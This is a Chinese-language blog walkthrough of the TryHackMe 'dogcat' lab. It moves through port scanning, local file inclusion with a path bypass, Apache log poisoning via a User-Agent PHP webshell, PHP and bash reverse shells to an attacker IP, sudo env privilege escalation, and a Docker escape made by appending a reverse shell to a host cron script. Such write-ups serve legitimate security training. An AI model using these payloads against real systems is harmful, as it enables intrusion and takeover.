【THM】dogcat練習

Super_Snow_Sword發表於2024-07-23

【THM】dogcat練習

與本文相關的TryHackMe實驗房間連結:TryHackMe | dogcat

簡介:我做了一個網站,你可以看狗和/或貓的圖片!透過LFI攻擊PHP應用程式並突破docker容器。

TryHackMe

我製作了這個網站,用於使用 PHP 檢視貓和狗的影像。如果你情緒低落,來看看一些狗/貓吧!

這臺機器可能需要幾分鐘才能完全啟動。

image-20240723165725279

第一題:flag1是多少

第一步

埠掃描

首先使用nmap對埠進行掃描

nmap -Pn -sV -T4 10.10.52.90

image-20240723170019958

可以發現目標開放了2個埠:22/tcp ssh服務、80/tcp http服務

第二步

訪問網站

我們先進入網站看看介面

image-20240723170358581

我們可以在這選擇看看貓貓或者狗狗的圖片:

image-20240723170659225

我們可以發現每當我們點選按鈕時,都有在以GET請求傳送“view”引數,我們注意一下

第三步

資訊收集

我們先看看網頁的原始碼裡面會不會藏了什麼東西:

image-20240723170713284

沒啥有用的。

再優先檢視robots.txt來看看這個網站會不會有什麼見不得人的檔案,404 not found

使用gobuster工具掃描網站目錄:

gobuster dir -u http://10.10.52.90 -w directory-list-2.3-medium.txt -x txt,html,php,js,zip

-x 新增字尾

(這裡我換了個做題更好用一些的字典)

image-20240723201225226

再在新標籤頁開啟貓貓或狗狗圖片,我們能大概猜測瞭解網站的目錄結構:根目錄下為主頁面”index.php“、“flag.php”、“dog.php”、“cat.php”和兩個資料夾”cats“、“dogs”,資料夾內有很多圖片:

image-20240723201321814

與此同時,flag.php開啟發現是一篇白板,直接開啟dog.php會隨機出現一張狗狗的圖片:

image-20240723202141957

image-20240723202233741

第四步

利用注入點

我們猜測引數view=dog時,網站執行了dog.php的內容

我們嘗試修改view的引數:

image-20240723201619367

我們無法訪問,那麼我們嘗試一下使用php偽協議進行檔案讀取

php://filter/read=convert.base64-encode/resource=flag

image-20240723201945842

依然不成功,按照提示“only dogs or cats allowed”可能”view“引數需要包含“dogs”或“cats”,我們嘗試新增路徑:

php://filter/read=convert.base64-encode/resource=./dogs/../flag

成功回顯出flag內容的編碼內容,我們進行base64解碼:

image-20240723202510899

image-20240723202539581

image-20240723202607119

第二題:flag2是多少

第一步

繼續程式碼審計

我們嘗試獲取”index.php“的內容:

php://filter/read=convert.base64-encode/resource=./dogs/index

image-20240723202928492

對輸出進行解密可以得到:

<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>

我們進行程式碼審計,可以明白:

首先會判斷“ext”引數是否存在,不存在則在“view”引數的值預設為”.php“新增在”view“引數的末尾,存在則直接新增在”view“引數的末尾;

然後判斷”view“引數是否包含“dog”或者“cat”字元,最後只有在”view“引數包含“dog”或者“cat”字元時對“view”引數的檔案進行檔案包含

理論上我們可以利用”view“引數進行任意檔案包含,檔案包含可以獲取到靶機的敏感檔案。但“ext”引數會拼接在檔案尾,所以我們讓“ext”的值為空“ ”

根據埠掃描的結果,我們可以判斷這網站建立在一臺linux系統主機,使用apache中介軟體

那麼網站預設的路徑即為:/var/www/html,我們可以給網站傳送如此GET請求:

view=/var/www/html/dogs/../../../../../../etc/passwd&ext= 

image-20240723204805449

第二步

使用apache的日誌檔案構造webshell

根據埠掃描的結果,我們可以知道該網站使用的apache版本是2.4.38

它的日誌檔案位置在:/var/log/apache2/access.log

我們先檔案包含檢視一下它的內容:

view=/var/www/html/dogs/../../../../../../var/log/apache2/access.log&ext= 

image-20240723205805705

可以發現apache的日誌檔案內容過多網站顯示不出來,我們只好重啟靶機……

image-20240723210040740

image-20240723210238996

發現apache的日誌檔案會記錄我們的IP、訪問時間、請求方法(GET)、請求地址、請求狀態碼、User-Agent

因此我們可以構造User-Agent構造HTTP頭部webshell:

User-Agent:<?php system($_GET['cmd']);?>

webshell就是引數”cmd“,我們嘗試輸入指令:

view=/var/www/html/dogs/../../../../../../var/log/apache2/access.log&ext=&cmd=whoami

image-20240723211727160

我們可以發現命令執行的回顯被寫入在日誌檔案中的User-Agent部份

一般情況下我們應該可以直接使用蟻劍或者菜刀工具連線了,但這裡我們只有攻擊機,於是我們構造反彈shell的指令碼,開始監聽接收反彈shell:

php -r '$sock=fsockopen("10.10.227.32","777");exec("/bin/bash -i 0>&3 2>&3 1>&3");'

image-20240723212525068

成功得到SHELL,使用以下命令使初始shell穩定化:

python -c "import pty; pty.spawn('/bin/bash')"

第三步

爆!

我們逐層尋找有什麼檔案,發現了flag:

image-20240723213004239

image-20240723215155111

第三題:flag3是多少

第一步

繼續深入提權

我們進入了根目錄,嘗試進入root目錄失敗,並且沒有home目錄,我們檢視我們擁有的許可權:

image-20240723213155248

我們可以不用密碼使用/usr/bin/env命令,我們在GTFOBins中查詢,發現可以使用這個命令提權:

image-20240723213340236

image-20240723213406467

提權成功

第二步

爆!!!

進入root目錄得到flag:

image-20240723213446241

image-20240723215135232

第四題:flag4是多少

DOCKER逃逸

利用上一個flag的線索

都拿到root許可權了才發現還有flag4要尋找,沒有什麼頭緒參考了文章:[安全 - 【Tryhackme】dogcat(LFI+檔案解析漏洞,Docker逃逸) - 個人文章 - SegmentFault 思否](https://fmash16.github.io/content/writeups/tryhackme/thm-DogCat.html)

上一題的flag給出了線索:”different environment“

我們可以在根目錄下發現一個dockerenv檔案,這說明我們正在執行的的linux系統是在docker中執行的容器,也就是說我們還可以繼續深入從docker容器中逃出來進入linux系統!

image-20240723214431946

/opt/backups應該是宿主機和Docker機器的共享資料夾
檢視/opt/backups下的backup.sh檔案,猜測這個指令碼會被宿主機定時執行

我們把下面的命令追加到backup.sh檔案:

echo 'bash -i >& /dev/tcp/10.10.227.32/666 0>&1' >> backup.sh

再監聽一個埠,等待大約一分鐘,指令碼被定時執行,我們可以收到宿主機的反彈shell,拿到flag4:

image-20240723215103906

image-20240723215047468